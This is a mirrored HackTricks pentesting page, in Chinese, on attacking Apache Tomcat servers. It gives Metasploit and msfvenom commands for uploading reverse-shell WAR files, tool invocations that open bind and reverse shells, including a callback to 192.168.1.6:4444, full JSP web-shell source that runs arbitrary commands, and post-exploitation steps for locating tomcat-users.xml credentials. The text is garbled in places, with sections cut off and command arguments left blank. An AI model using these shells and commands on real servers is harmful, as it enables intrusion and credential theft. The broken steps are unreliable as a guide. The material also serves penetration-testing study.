> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/tomcat.md).
# Tomcat
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家） ！
**Try Hard Security Group**
" %}
***
## 发现
* 通常在**端口8080**上运行
* **常见的Tomcat错误:**
msf exploit(multi/http/tomcat_mgr_upload) > set rport
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom反向Shell
1. 创建用于部署的war文件：
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war
```
2. 上传 `revshell.war` 文件并访问它 (`/revshell/`):
### 使用 [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) 进行绑定和反向 shell
在某些情况下，这种方法不起作用（例如旧版本的 sun）
#### 下载
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### 反向 shell
```bash
./tomcatWarDeployer.py -U -P -H -p :/manager/html/
```
#### 绑定 shell
```bash
./tomcatWarDeployer.py -U -P -p :/manager/html/
```
### 使用[Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### 手动方法 - Web shell
创建名为 **index.jsp** 的文件，并使用以下[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)：
```java
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+""; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### 手动方法2
获取一个JSP Web shell，比如[这个](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)，并创建一个WAR文件：
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Tomcat凭据文件的名称是 *tomcat-users.xml*
```bash
find / -name tomcat-users.xml 2>/dev/null
```
其他收集Tomcat凭证的方法：
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## 其他Tomcat扫描工具
*
## 参考资料
*
*
**Try Hard Security Group**
" %}
从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert) ! ) 或**电报群组**或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。